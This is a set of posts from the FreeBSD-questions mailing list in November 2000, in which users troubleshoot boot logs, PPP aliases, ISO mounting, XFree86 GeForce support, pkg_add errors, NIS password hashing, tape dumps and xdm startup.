=>ed0: <NE2000 PCI Ethernet (RealTek 8029)> port 0x1040-0x105f irq 11 at
=>device 16
=>.0 on pci0
=>ed0: supplying EUI64: 00:c0:df:ff:fe:f1:79:1c
=>ed0: address 00:c0:df:f1:79:1c, type NE2000 (16 bit)
=>isab0: <Intel 82371AB PCI to ISA bridge> at device 20.0 on pci0
=>isa0: <ISA bus> on isab0
=>atapci0: <Intel PIIX4 ATA33 controller> port 0x1020-0x102f at device 20.1 on
=>pci
=>0
=>ata0: at 0x1f0 irq 14 on atapci0
=>pci0: <Intel 82371AB/EB (PIIX4) USB controller> at 20.2 irq 11
=>chip1: <Intel 82371AB Power management controller> port 0xfc00-0xfc0f at
=>device
=>20.3 on pci0
=>fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
=>fdc0: FIFO enabled, 8 bytes threshold
=>fd0: <1440-KB 3.5" drive> on fdc0 drive 0
=>atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
=>atkbd0: <AT Keyboard> irq 1 on atkbdc0
=>sc0: <System console> on isa0
=>sc0: VGA <16 virtual consoles, flags=0x200>
=>sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
=>sio0: type 16550A
=>sio1 at port 0x2f8-0x2ff irq 3 on isa0
=>sio1: type 16550A
=>ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
=>ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
=>ppc0: FIFO with 16/16/8 bytes threshold
=>ppi0: <Parallel I/O> on ppbus0
=>lpt0: <Printer> on ppbus0
=>lpt0: Interrupt-driven port
=>plip0: <PLIP network interface> on ppbus0
=>ad0: 4112MB <ST34323A> [8912/15/63] at ata0-master using UDMA33
=>ad1: 12949MB <Maxtor 91366U4> [26310/16/63] at ata0-slave using UDMA33
=>Mounting root from ufs:/dev/ad1s1a
=>WARNING: / was not properly dismounted
=>ed0: starting DAD for fe80:0001::02c0:dfff:fef1:791c
=>ed0: DAD complete for fe80:0001::02c0:dfff:fef1:791c - no duplicates found
=>arp: 208.148.169.47 moved from 00:c0:7b:6d:68:10 to 00:c0:7b:6c:dd:aa on ed0
=>proc: table is full
=>proc: table is full
=>
=>Please assist,
=>
=>Kondie.
=>
=>
=>
=>
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I was wondering if anyone knows if there is some reasonable way, with a
normal and functioning pppd connection, to do

 ifconfig ppp0 alias ###.###.###.103 

and get it to work the same way as

 ifconfig ed0 alias ###.###.###.103

assuming ###.###.###.103 is a valid ip address, and ###.###.###.102 is already
assigned to ppp0 ?  I would rather if possible, do this with pppd, without the
use of natd type solutions, or resorting to a subnet...


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* Peter Johnson <tam@hiddenrock.com> [20001103 02:13]:
=>I'm trying to mount an ISO file, and I'm getting errors, any help would be
=>appreciated.  Here are the commands I'm running:
=>
=>vnconfig /dev/vn0c /tmp/image.iso
=>mount -t cd9660 /dev/vn0c /mnt
=>
=>The call to "mount" is exiting and telling me: "cd9660: Invalid
=>argument".  I've tried calling mount_cd9660 manually and it doesn't
=>provide any more useful information.

I was able to do it from info I got from the list.
First i compiled a kernel with 

pseudo-device vn
Then I followed commands like you used....that is in 3.5_STABLE
vnconfig /dev/vn0c /usr/local/FreeBSD/4.1-install.iso
mount_cd9660 /dev/vn0c /mnt/

And it still works for me ;-)

Hope that helps.
=>
=>Thanks.
=>
=>Pete
=>
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i want to learn more about linux

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Well, then you've come to the wrong place, this is FreeBSD, also a
unixlike operating system but not linux. I and the people on this list
feels that FreeBSD is more powerful than linux so I recommend that you
try it instead. More info can be found at www.freebsd.org.

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Weehoooo !!!!!

It worx! Thanks a lot for all the help I got!

Ernst

Pete Young wrote:
> On Thu, 2 Nov 2000 01:18:53 +0100, Ernst de Haan wrote:
> 
> >Hi,
> >
> >After the problems I head with my upgrade from XFree86 3.3.6 to 4.0.1 (using
> >the port, on an NVidia TNT card) I cvsupdated my sources, made world,
> >recompiled and -installed kernel, etc. No luck. Recompiled the port, no luck.
> >So I tried running it with an NVidia TNT2 card. No luck.
> >
> >At the moment, I exchanged the TNT2 card for a GeForce 2 MX, and I 
> downloaded
> >a binary distro from xfree86.org. Guess what? The Geforce 2 isn't supported
> >yet :-/
> >
> >Does any1 have experience with using a GeForce 2 (MX) card with XFree86 ?
> >
> Support for the Geforce 2 has not been included with the latest release of  
> XFree86 yet but it has been added to the CVS repository.
> 
> I used the FreeBSD port system to build it.  Here are the steps that worked.
> 
> 	cd /usr/ports/x11/XFree86-4
> 	make patch
> 
> I then copied these files from the XFree86 anoncvs repository to the same
> directories under /usr/ports/x11/XFree86-4/work/
> 
> 	xc/programs/Xserver/hw/xfree86/common/xf86PciInfo.h
> 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_driver.c
> 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_include.h
> 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_local.h
> 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_type.h
> 	xc/programs/Xserver/hw/xfree86/drivers/nv/riva_tbl.h
> 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_xaa.c
> 
> Edit nv_include.h and remove the line   #include "vbe.h"  .  Finish
> with
> 
> 	cd /usr/ports/x11/XFree86-4
> 	make install
> 	XFree86 -configure
> 
> Good luck.
> -
> Pete
> 
> 


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* Mike Meyer <mwm@mired.org> [20001103 02:19]:
=>Archit P Shah <ashah@MIT.EDU> types:
=>> 1) Are there good reasons to not put system files (/etc/passwd, /etc/group,...)
=>> under version control? It seems like it would be useful to be able to see the 
=>> changes over time. (Not as a security measure, but as a way of doing sanity
=>>  checks).
=>
=>I certainly hope not - I keep a lot of them under version control!
=>/etc/password wasn't one of them, because it tends to be edited by
=>tools, not users. But lots of others (/etc/*.conf, /etc/fstab, kernel
=>config files, qmail control files, and so on) are there, and it makes
=>a *lot* of sense to do that.

Sorry guys but i am abit lost on this version control issue. Where do i
get more info?

Thanks


=>
=>> 2) If there are no good reasons to avoid putting system files user version
=>> control, does it make sense to build that into the distribution? (as an
=>> option)
=>
=>It already is, and not as an option. RCS is part of the base system,
=>though it doesn't look like much work is being done to maintain it
=>(the GNU version is used pretty much as is). There are a number of
=>tools for working with (and installing) cvs in ports/net and
=>ports/devel. I use Perforce instead of CVS, and that can be installed
=>from the ports as well.
=>
=>	<mike
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	Hi Matthew!

On 31 Oct 00 at 09:36, "Matthew" (Matthew Hunt) wrote:


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Unless your /usr is on a different partition.

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Hi,

I am a novice in freebsd.... I tried installing using
the command pkg_add for the tar extension file of
Kdeveloper... but there was error...saying..

"tar: +CONTENTS not found in archive
 pkg_add: unable to open table of contents file
'+CONTENTS' - not a package? "

Anyone can tell me what went wrong? Do help
me.....pls.

Kalai

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Odhiambo Washington <wash@iconnect.co.ke> types:
> * Mike Meyer <mwm@mired.org> [20001103 02:19]:
> =>Archit P Shah <ashah@MIT.EDU> types:
> =>> 1) Are there good reasons to not put system files (/etc/passwd, /etc/group,...)
> =>> under version control? It seems like it would be useful to be able to see the 
> =>> changes over time. (Not as a security measure, but as a way of doing sanity
> =>>  checks).
> =>I certainly hope not - I keep a lot of them under version control!
> =>/etc/password wasn't one of them, because it tends to be edited by
> =>tools, not users. But lots of others (/etc/*.conf, /etc/fstab, kernel
> =>config files, qmail control files, and so on) are there, and it makes
> =>a *lot* of sense to do that.
> Sorry guys but i am abit lost on this version control issue. Where do i
> get more info?

The rcsintro man page is probably a good introduction. Beyond that -
well, a more specific question is needed.

	<mike


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On Fri, 3 Nov 2000, James A Wilde wrote:

> This is new - to me - since I installed 4.1.
> 
> Suddenly man displays bytes displayed instead of per cent displayed.  I
> can't find a switch in man man and I can't find references to this in the
> mailing list - probably wrong choice of search parameters.
> 
> Can someone help please?

Sure. FreeBSD's pager changed from "more" to "less" with 4.1. There's a
mention of it in the Release Notes for 4.1. Check out the following:

http://www.oreillynet.com/pub/a/bsd/2000/10/11/FreeBSD_Basics.html?page=2
http://www.freebsd.org/releases/4.1R/notes.html

Cheers,

Dru



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Hi

The command should be
tar xf <file.tar>
if it's a .tar.gz or .tgz
tar zxf <file.tar.gz or file.tgz>
(-> man tar should help)

pkg_add is only for packages (extension: .tgz) - but not all .tgz are
fbsd packages...


Sperber
satkal79@yahoo.com wrote:

> Hi,
>
> I am a novice in freebsd.... I tried installing using
> the command pkg_add for the tar extension file of
> Kdeveloper... but there was error...saying..
>
> "tar: +CONTENTS not found in archive
>  pkg_add: unable to open table of contents file
> '+CONTENTS' - not a package? "
>
> Anyone can tell me what went wrong? Do help
> me.....pls.
>
> Kalai
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Hello!
Can You tell me how to boot machine
directly in graphical mode, i.e. 
graphical logon screen.
My OS is FreeBSD4.1-Release.


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01031149@3web.net types:
> > Someone types:
> > > On  1 Nov 00 at 5:27, Mike Meyer wrote:
> > > > leoric@home.com types:
> > > > > I have read things from the FreeBSD webpage, archived mailing list
> > > > > posts, and /usr/src/UPDATING. The proper way to build world and build
> > > > > a kernel from source is different in each of these.
> > > <snip>
> > > > Be warned that some of the things that can be set in /etc/make.conf can
> > > > cause the method with config to break, and some can cause the system to
> > > > be unbootable until the intallworld is done.
> > > In light of another current thread on this list, "beginners with bsd" and
> > > the various recommendations therein, it would seem that your above warning
> > > points to a FBSD deficiency that would absolutely and totally collapse a
> > > computer and/or FBSD newbie's experience with same. What would you see as
> > > necessary changes to FBSD to preclude such an experience/event and perhaps
> > > cast FBSD in something other than a "not-for-the-faint-hearted" OS and
> > > still retain *all* the flexibility that *nix "power-users" require/demand?
> > No, because problems with /etc/make.conf mean you're *way* beyond the
> > "beginners with bsd" stage. You're building the system (or at least
> > ports) from sources, which is something that MS sort of assumes that
> > you'll never do. Beginners should make sure they can get around a
> > -RELEASE system before rebuilding the system from sources. Being able
> > to build ports at the very least.  They should make sure they can
> > rebuild the system from sources before they start monkeying around
> > with make.conf (if you don't touch it, things won't break).
> I totally agree with the above. However, your advise above is not obvious 
> in any of the FBSD docs that I've read. Problem is though, even a FBSD 
> newbie may want sound or some other goodies that are not included in 
> GENERIC. My point was that compiling a custom kernel would not be that bad 
> where it not for the "booby trap(s)" that you warned about in your previous 
> message.

Actually, sound may be in the 4.2 GENERIC. This conversation caused me
to suggest putting pcm in to jkh, and he agreed. Are there other
things that people tend to rebuild GENERIC fairly early? Sound is the
one that shows up in -questions a lot. SMP is liable to be another in
the future.

> I probably did not explain my point adequately in my post. It sure was not 
> to run down FBSD -- hell I *have* to use win9x and I hate it. As a matter 
> of fact, In the interim (until I graduate full-time to FBSD) I'm DOSifying 
> as much as I can. My point *was* between the lines ;) When I first 
> installed 3.3R a year or so ago, I popped off on this list stating that I 
> could not believe that such a complement of unbelievably intelligent folks 
> as the ones responsible for FBSD, could not at *least* create a battery of 
> shell scripts to ease the customization burden *after* a GENERIC install. 
> Something like the script that installs and configures mgetty. An awful 
> lot of folks agreed with me, because a newbie  doesn't know his ass from a 
> hole in the ground when it comes to *anything* about Unix. An analogy 
> could be a proud owner of a brand new high-performance Ferrari. Most of 
> theses owners are not savvy enough to get under the hood to tinker and 
> tweak yet they truely want and enjoy driving it.

Can you be more specific? FreeBSD has already added a lot of tools for
such when compared with 4.4BSD, though many are hidden in
sysinstall. I.e. - there's a GUI interface for configuring the network
that feels identical to what Windows uses; there are tools for adding
groups & users, etc.

> Mike, this newbie doesn't purport to have *any* answers. I simply don't 
> have the savvy. However I do have various Unix frustrations, but most of 
> all bewilderment. You see, I must be looking at the Unix guru community 
> through rose-colored plassed, because I can't believe that such a talented 
> bunch - talent that created such a powerful OS and its myriad of add-ons 
> and utilities, should be stumbling with the creation of comprehensive 
> installation scripts. I just can't see it. Maybe I can -- for IMHO, Unix 
> was once the domain of the elite in the computer community. There simply 
> was never a *need* for automation etc. Now that the "proletariat" have 
> come knocking and wanting to use, one of two mind-sets will prevail:
> 1. This is the Unix way -adapt or get out
> 2. let's provide the Unix-way *and* at least a completely automated GENERIC
> install.

There are two problems with this. One is that people who've been
working decades with Unix don't see the world the same way others
do. What may seem perfectly reasonable and obvious to them is
incredibly convoluted to others.  They are, if anything, disqualified
to do UI design for the rest of the world. The second thing is that
FreeBSD is still (mostly) a volunteer effort. This means people tend
to fix things that they need to fix, not what most of the rest of the
world needs to fix.

> Linux seems to have adopted - to some degree- the latter. They are 
> enjoying a modicum of success. Why not FBSD--to an even greater degree? I 
> know that I've over-simplified a lot of issues - which you have gone 
> expanded on in your previous post.and I thank you! I guess all of this is 
> frustration and *not* a denegration of FBSD per se. Thanks for listening..

Well, the Linux system has enough commercial $'s behind it that more
than one group has spent money on *advertising*, of all things. That
means they can do things like *pay* someone who sees things from the
new user point of view to design the installation/configuration system
- and if necessary to implement it. I notice that the different Linux
distributions tend to use different tools for installation, though
enough use Linuxconf (or whatever it's called) for maintenance that
crackers probe for it's system port. Most of the Linux distribution
systems I've looked at aren't acceptable for FreeBSD, because they
won't work over a serial line (which is a requirement for FreeBSD).

The configuration problem - and some of the install difficulties, and
the problems with the package system - are a recognized
problem. They're also interrelated, and there's a requirements list
<URL: http://people.FreeBSD.org/~alex/libh/ > and some people working
on them - slowly. If you really want to contribute *code* to the
FreeBSD project that would help with this area, that page has
directions on how to do so.

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Artashes Hovasapyan wrote:

> Hello!
> Can You tell me how to boot machine
> directly in graphical mode, i.e.
> graphical logon screen.
> My OS is FreeBSD4.1-Release.

have a look in your /etc/ttys
there is a tty defined for xdm - but it is turned off
turn it on and it should work
(u should configure xdm before that)

>
>
> =====
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> Artashes Hovasapyan
>

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Gary Kline <kline@tera.com> types:
> 	I'll throw in my dime's worth and suggest that every `info'
> 	page be turned into a man-style page with hyperlinks.  If
> 	hyperlinks (and space) been available 25 years ago, every 
> 	manual entry would've had links.  Another think the man 
> 	pages would've had is examples.  The reason man pages were
> 	so terse was that disk space was extremely costly.  

Gee, and I thought it was because programmers hated writing
documentation. I know I do. In fact, someone here (wasn't it here)
recently provided a pointer to an AT&T page on Unix history, wherein
one specific person was creditied with making sure that all programs
on Unix had man pages - and even to getting some programs rewritten to
be up to the standards for the man pages.

Now disk space being costly may well be why the original Unix man
pages weren't formated, but kept on disk in nroff form and formatted
when you read them.

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Hi!

I changed my password on our NIS server (FreeBSD 4.2-BETA) and
now my password is MD5 instead of DES. This is not good as we
have hosts in our network which don't speak MD5.

Here are the libcrypt links:

lrwxr-xr-x  1 root  wheel       13 Nov  2 14:06 libcrypt.a -> libdescrypt.a
lrwxr-xr-x  1 root  wheel       14 Nov  2 14:06 libcrypt.so -> libdescrypt.so
lrwxr-xr-x  1 root  wheel       16 Nov  2 14:06 libcrypt.so.2 -> libdescrypt.so.2
lrwxr-xr-x  1 root  wheel       15 Nov  2 14:06 libcrypt_p.a -> libdescrypt_p.a

So libcrypt.* are symlinks to the DES variants. This is the output
from "ktrace passwd user":

    12356 passwd   NAMI  "/usr/lib/libcrypt.so.2"
    ...

Once again, the passwd command should be using the DES variant of the
crypt libraries as expected.

No matter what I do, I get this:

# passwd user
Changing NIS password for user on localhost in domain xxxxx.
New password:
Retype new password:

NIS password has been changed on localhost.
# grep ^user /var/yp/master.passwd
user:$1$v.Pe7YE9$IQ2fKW5/iYAF8K44FJTmF/:1000:1000::0:0:User Name:/home/user:/bin/bash

So the password is MD5 instead of DES! What am I doing wrong?

Please CC: me with the answer as I'm not on this list.

Thanks in advance,

Martti Kuparinen



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svga schrieb:
> 
> Hello,
> 
> How should I change it:
> 
> #dump 0af - / | gzip > /dev/rsa0
                  ^^^^^^^^
                  gzip -c > /dev/rsa0

HTH
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Anthony Rubin <tonyr@generalsearch.net> types:
> I am interested in setting up a central box that will make buildworld on a 
> regular basis that I will be able to use to upgrade other boxes.  I would 
> like to store /usr/src and /usr/obj on our NetApp and NFS mount them on the 
> box that does the make buildworld and any boxes that I want to upgrade.  Are 
> there any other directories that I need to keep on the NetApp in order for 
> this to work?  Any other comments or suggestions?

No, that should do it. Personally, I do things the other way around:
put /usr/src/ & /usr/obj on the box that does the buildworld, and
export them from there to everything else. If you've only got one
drive on that box, you might consider putting /usr/obj on the NetApp
box and /usr/src on the build box.

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Found a link on  http://www.daemonnews.org where they give you a pretty
good how-to secure you mailserver for spam and Trojans.

Link:
http://www.daemonnews.org/200011/stopspam.html

PeTe

> -----Original Message-----
> From:	Jusitn W. Pauler [SMTP:jwpauler@jwpages.com]
> Sent:	Friday, November 03, 2000 5:39 AM
> To:	questions@freebsd.org
> Subject:	Recent Virus Attacks
> 
> As with the recent spam of the FreeBSD lists with the virus spam, can 
> someone provide a simple solution to block out these and other viruses? In
> 
> my case, my FreeBSD box is a network gateway and server to my LAN.
> 
> I use fetchmail to download mail to sendmail and cucipop to allow me to 
> grab it from my windows box.
> I understand that there are some ways to implement some security in 
> sendmail, I am just not sure how to fully block it.
> 
> I would appreciate some help.
> 
> Justin W. Pauler (jwpauler@jwpages.com) (drnet)
> Computer Technician
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> 
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#dump 0af - / | gzip -c > /dev/rsa0
gzip: stdout: Invalid argument

Regards,
Olek

Christoph Sold wrote:

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> > Hello,
> >
> > How should I change it:
> >
> > #dump 0af - / | gzip > /dev/rsa0
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Hey Keith,

Same here. The XFree86 -configure crashed on me with an unlinked function
error. But I ran xf86config, tweaked /etc/X11/XF86Config a bit, and it runs
like a breeze :)

Ernst


Keith Jones wrote:
> I couldn't use XFree86 -configure, rather I had to use xf86config.
> 
> 
> On Fri, Nov 03, 2000 at 12:48:34PM +0100, Ernst de Haan wrote:
> > Weehoooo !!!!!
> > 
> > It worx! Thanks a lot for all the help I got!
> > 
> > Ernst
> > 
> > Pete Young wrote:
> > > On Thu, 2 Nov 2000 01:18:53 +0100, Ernst de Haan wrote:
> > > 
> > > >Hi,
> > > >
> > > >After the problems I head with my upgrade from XFree86 3.3.6 to 4.0.1 (using
> > > >the port, on an NVidia TNT card) I cvsupdated my sources, made world,
> > > >recompiled and -installed kernel, etc. No luck. Recompiled the port, no luck.
> > > >So I tried running it with an NVidia TNT2 card. No luck.
> > > >
> > > >At the moment, I exchanged the TNT2 card for a GeForce 2 MX, and I 
> > > downloaded
> > > >a binary distro from xfree86.org. Guess what? The Geforce 2 isn't supported
> > > >yet :-/
> > > >
> > > >Does any1 have experience with using a GeForce 2 (MX) card with XFree86 ?
> > > >
> > > Support for the Geforce 2 has not been included with the latest release of  
> > > XFree86 yet but it has been added to the CVS repository.
> > > 
> > > I used the FreeBSD port system to build it.  Here are the steps that worked.
> > > 
> > > 	cd /usr/ports/x11/XFree86-4
> > > 	make patch
> > > 
> > > I then copied these files from the XFree86 anoncvs repository to the same
> > > directories under /usr/ports/x11/XFree86-4/work/
> > > 
> > > 	xc/programs/Xserver/hw/xfree86/common/xf86PciInfo.h
> > > 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_driver.c
> > > 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_include.h
> > > 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_local.h
> > > 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_type.h
> > > 	xc/programs/Xserver/hw/xfree86/drivers/nv/riva_tbl.h
> > > 	xc/programs/Xserver/hw/xfree86/drivers/nv/nv_xaa.c
> > > 
> > > Edit nv_include.h and remove the line   #include "vbe.h"  .  Finish
> > > with
> > > 
> > > 	cd /usr/ports/x11/XFree86-4
> > > 	make install
> > > 	XFree86 -configure
> > > 
> > > Good luck.
> > > -
> > > Pete
> > > 
> > > 
> > 
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Hi again,

The tar file is said to be a package. When i d/load
the file from
ftp://ftp.freebsd.org/pub/FreeBSD/branches/-current/ports/devel/m4.tar

it is by default in tar format. If I make it
m4.tar.tgz.. i still cant use the pkg_add .., the
error saying..it's not a package. How can I  add this
package??

Kalai

--- Sperber <sperber@w3.brgkepler.asn-graz.ac.at>
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> Hi
> 
> The command should be
> tar xf <file.tar>
> if it's a .tar.gz or .tgz
> tar zxf <file.tar.gz or file.tgz>
> (-> man tar should help)
> 
> pkg_add is only for packages (extension: .tgz) - but
> not all .tgz are
> fbsd packages...
> 
> 
> Sperber
> satkal79@yahoo.com wrote:
> 
> > Hi,
> >
> > I am a novice in freebsd.... I tried installing
> using
> > the command pkg_add for the tar extension file of
> > Kdeveloper... but there was error...saying..
> >
> > "tar: +CONTENTS not found in archive
> >  pkg_add: unable to open table of contents file
> > '+CONTENTS' - not a package? "
> >
> > Anyone can tell me what went wrong? Do help
> > me.....pls.
> >
> > Kalai
> >
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satkal79@yahoo.com wrote:

hehe
u downloaded the worng file
ftp://ftp.freebsd.org/pub/FreeBSD/ports/packages/All/m4-1.4.tgz <- that
would be the right one...

sperber

> Hi again,
>
> The tar file is said to be a package. When i d/load
> the file from
> ftp://ftp.freebsd.org/pub/FreeBSD/branches/-current/ports/devel/m4.tar
>
> it is by default in tar format. If I make it
> m4.tar.tgz.. i still cant use the pkg_add .., the
> error saying..it's not a package. How can I  add this
> package??
>
> Kalai
>
> --- Sperber <sperber@w3.brgkepler.asn-graz.ac.at>
> wrote:
> > Hi
> >
> > The command should be
> > tar xf <file.tar>
> > if it's a .tar.gz or .tgz
> > tar zxf <file.tar.gz or file.tgz>
> > (-> man tar should help)
> >
> > pkg_add is only for packages (extension: .tgz) - but
> > not all .tgz are
> > fbsd packages...
> >
> >
> > Sperber
> > satkal79@yahoo.com wrote:
> >
> > > Hi,
> > >
> > > I am a novice in freebsd.... I tried installing
> > using
> > > the command pkg_add for the tar extension file of
> > > Kdeveloper... but there was error...saying..
> > >
> > > "tar: +CONTENTS not found in archive
> > >  pkg_add: unable to open table of contents file
> > > '+CONTENTS' - not a package? "
> > >
> > > Anyone can tell me what went wrong? Do help
> > > me.....pls.
> > >
> > > Kalai
> > >
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Hi,

I read through the FreeBSD handbook, especially the section covering 
ports/packages, but updating packages is mentioned nowhere.

Is there a convenient way to update packages?

I don't mean using CVS,CVSup,CTM (source updates) but binary updates, like 
this is arranged in Linux using RPM and DEB.

Or is it possible to just pkg_add <pkgname> if there is already an old 
version of <pkgname> installed?

I guess pkg_delete <oldpkg_name> and then pkg_add <newpkgname> doesn't solve 
this problem, because of the dependencies...

TIA,

Jochem


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I am trying to install a SoundBlaster AWE32 plug and play sound card under
FBSD4.1 RELEASE...

Kernel config entries:

DEVICE     PCM
DEVICE     SBC

Have also tried:

DEVICE     PCM
DEVICE     SBC0     at isa? port 0x220 irq 5 drq 1

When the kernel boots it detects the card at the same settings using the
SBC/PCM driver regardless of whether I specify port/irq/drq or not.

It also probes out the wavetable, gameport, ect...
It started working under gnome once then after a reboot it quit again..
I am thinking that it appears to be a resource conflict but I am not sure of
how to control reservation of irqs like I do under say Linux...

Any thoughts would be appreciated and even if it doesn't work the
speed/stability, not to mention increased memory management efficiency, is
well worth losing the sound.

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Ernst de Haan wrote:
> 
> Hi Micheal,
> 
> I'm running FreeBSD on a Pentium 2-400/128MB, a Celeron 566/128MB and on a
> 486 DX2-66/16MB. FreeBSD runs fine on the 486, but X (with KDE and Netscape
> 4.x) is horrible. Very slow. It takes a few minutes to startup X, KDE and
> Netscape. But once Netscape is running, the speed is `acceptable'. So it can
> be used to visit internet sites (HotMail mainly), but don't expect too much of
> the graphical part.
> 
> I think your harddisk is too small if you want to run X, but if you don't,
> then it should be just fine.
> 
> Ernst
> 
> Micheal O Dowd wrote:
> > can i run freeBSD on my IBM Thinkpad 750C
> > 486 33
> > 12 mb
> > 540 HD

That should be enough to run X really.  I used to run X (back in the 2.x
days) on a 300MB partition.  Netscape WILL be slow, but usuable (just be
prepared to wait a Looong time for it to start).  Also, be sure you get
Navigator instead of Communicator (unless you really really want to use
the builtin news and mail), since it has a smaller memory footprint and
generally starts much faster on older machines.  Also, be prepared to
spend a lot of time swapping if you plan to run X with 12mb of ram.


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Someone hasn't been hugged lately :-)

Jon

> Ok, I'll try be polite, BUT ....
> why you just didn't go http://www.freebsd.org and in search 
> field didn't
> wrote Oracle and hit Enter?
> Why? Why? Why? 
> Ok, I did this for YOU, 
> http://www.freebsd.org/handbook/linuxemu-oracle.html
> but, next time, please, try find answer youself, Ok? :-)
> 
> Linux Oracle on FreeBSD. Linux Oracle on FreeBSD. Linux 
> Oracle on FreeBSD.
> So next time someone will search in mailing list archives for 
> Oracle, he
> will find this mail :-)
> 
> http://www.freebsd.org/handbook/linuxemu-oracle.html
> http://www.freebsd.org/handbook/linuxemu-oracle.html
> http://www.freebsd.org/handbook/linuxemu-oracle.html
> http://www.freebsd.org/handbook/linuxemu-oracle.html
> http://www.freebsd.org/handbook/linuxemu-oracle.html
> http://www.freebsd.org/handbook/linuxemu-oracle.html
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On Wed, Nov 01, 2000 at 10:37:24PM -0500, Kenneth Wayne Culver wrote:
> Yeah, I'm using it no problem with Xfree86 4.0.1c (cvs version... kinda
> like a -CURRENT for XFree86) and it works perfectly... except if u switch
> virtual terminals... then when u switch back to the X VT the mouse won't
> move.
> 
There is a patch around for FreeBSD which solves the problem with the frozen
mouse. Search the mailing list archive for these words. I'm not sure, but I
think the patch is included in the port too. So you can maybe patch your 
cvs version too if you need the ability to switch to virtual console.

Just wanted to let you know because I had the same problem myself and the
inabilty to use the virtual terminals really got on my nerves.

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When I was getting help configuring a laptop, I ended up with a startup
script in /usr/local/etc/rc.d. Is there any practical difference in doing
it this way? 

Laptop is 3.5 + PAO but the /etc/ttys entry is present.


On Fri, 3 Nov 2000, Sperber wrote:

> Artashes Hovasapyan wrote:
> 
> > Hello!
> > Can You tell me how to boot machine
> > directly in graphical mode, i.e.
> > graphical logon screen.
> > My OS is FreeBSD4.1-Release.
> 
> have a look in your /etc/ttys
> there is a tty defined for xdm - but it is turned off
> turn it on and it should work
> (u should configure xdm before that)
> 
> >
> >
> > =====
> > Best regards,
> > Artashes Hovasapyan
> >
> 
> good luck - sperber
> 
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	Could anyone give me some adivice as to how to get UCD's SNMP agent
	(snmpd daemon) to compile on FreeBSD 4.x _with_ the
	--enable-mib-modules=host flag?

	The port fails to compile if I set this flag. This flag works on my
	FreebSD machines that are still at 3.x, and for the one machine I still
	have tht's at 2.x


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Jochem Kossen schrieb:
> 
> Hi,
> 
> I read through the FreeBSD handbook, especially the section covering
> ports/packages, but updating packages is mentioned nowhere.
> 
> Is there a convenient way to update packages?

the pkg_info and pkg_version cmds help you to determine which to update.
pkg_delete, then pkg_add the packages mentioned by pkg_version. 

> I don't mean using CVS,CVSup,CTM (source updates) but binary updates, like
> this is arranged in Linux using RPM and DEB.

Ummm, what's wrong with CVSup? I like the way it keeps my ports
directory current (yes, I do this with cron).

> Or is it possible to just pkg_add <pkgname> if there is already an old
> version of <pkgname> installed?

Yes and no. it will tell you an older version is still present.
 
> I guess pkg_delete <oldpkg_name> and then pkg_add <newpkgname> doesn't solve
> this problem, because of the dependencies...

...which are still dependencies when you do try to update packages. I
prefer to update all dependent packages at the same time, compiling
everything from source. One can do it this way using packages, too ;)

HTH
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well when u have it in etc/ttys it always restarts - whatever u do
but with a startscript u could kill it...
so it's just a small difference...

Doug Denault wrote:

> When I was getting help configuring a laptop, I ended up with a startup
> script in /usr/local/etc/rc.d. Is there any practical difference in doing
> it this way?
>
> Laptop is 3.5 + PAO but the /etc/ttys entry is present.
>
> On Fri, 3 Nov 2000, Sperber wrote:
>
> > Artashes Hovasapyan wrote:
> >
> > > Hello!
> > > Can You tell me how to boot machine
> > > directly in graphical mode, i.e.
> > > graphical logon screen.
> > > My OS is FreeBSD4.1-Release.
> >
> > have a look in your /etc/ttys
> > there is a tty defined for xdm - but it is turned off
> > turn it on and it should work
> > (u should configure xdm before that)
> >
> > >
> > >
> > > =====
> > > Best regards,
> > > Artashes Hovasapyan
> > >
> >
> > good luck - sperber
> >
> >
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Hi Folks,

I got a single, small BSD box set up and running in a local network. I
plan to use it for backup purposes. Unfortunately, this box sports no
SCSI interface. Everything has to be done the cheap way.

Can anybody speak up how to backup (preferably using Amanda) to any
ATAPI or USB drive?

Thanks for your recommendations
-Christoph Sold
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Ok here is my setup: 56k dial-up, phone gets disconnected semi-often (call
waiting,peeps picking it up) 

I want a script that will (thru cron) check every thirty minutes if ppp is
connected or not, if not it will dial via "ppp -ddial isp" if it is, it
will exit and then in half in hour (thru cron again) check and basically
do same thing...
My question: Is there a program/script readily available for this kinda
thing?
How do I check if ppp is connected or not?
Inside cron, what is the exact setup ? (Under minutes just put 30,
everything else * ?)
ty.


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On Friday 03 November 2000 09:47 am, Peter wrote:
> Ok here is my setup: 56k dial-up, phone gets disconnected semi-often (call
> waiting,peeps picking it up)
>
> I want a script that will (thru cron) check every thirty minutes if ppp is
> connected or not, if not it will dial via "ppp -ddial isp" if it is, it
> will exit and then in half in hour (thru cron again) check and basically
> do same thing...
> My question: Is there a program/script readily available for this kinda
> thing?
> How do I check if ppp is connected or not?
> Inside cron, what is the exact setup ? (Under minutes just put 30,
> everything else * ?)
> ty.
>
>
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According to the man page the -ddial option should cause ppp to reestablish a 
connection if it is broken.  You could setup a cron job to do a ping -c 1 
<ipaddresshere>.  That should make it dial again and won't hurt anything if 
you are already connected.
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Dear All,

I have 4.0 running. And I got 4.1.1 installation CDROM. I wanted to
install the new source and then make world. Can anyone tell me what is
the best way to do this? Can I simply run /stand/sysinstall to install
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the floppies and then install only source from there? 

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On Fri, Nov 03, 2000 at 06:53:27AM -0600, Mike Meyer wrote:
> Gary Kline <kline@tera.com> types:
> > 	I'll throw in my dime's worth and suggest that every `info'
> > 	page be turned into a man-style page with hyperlinks.  If
> > 	hyperlinks (and space) been available 25 years ago, every 
> > 	manual entry would've had links.  Another think the man 
> > 	pages would've had is examples.  The reason man pages were
> > 	so terse was that disk space was extremely costly.  
> 
> Gee, and I thought it was because programmers hated writing
> documentation. I know I do. 

	:-)  Yup, same.  I'd rather hack 1000 lines of code than
	100 lines of man page.  The man pages are the "other 90%"
	of the job.


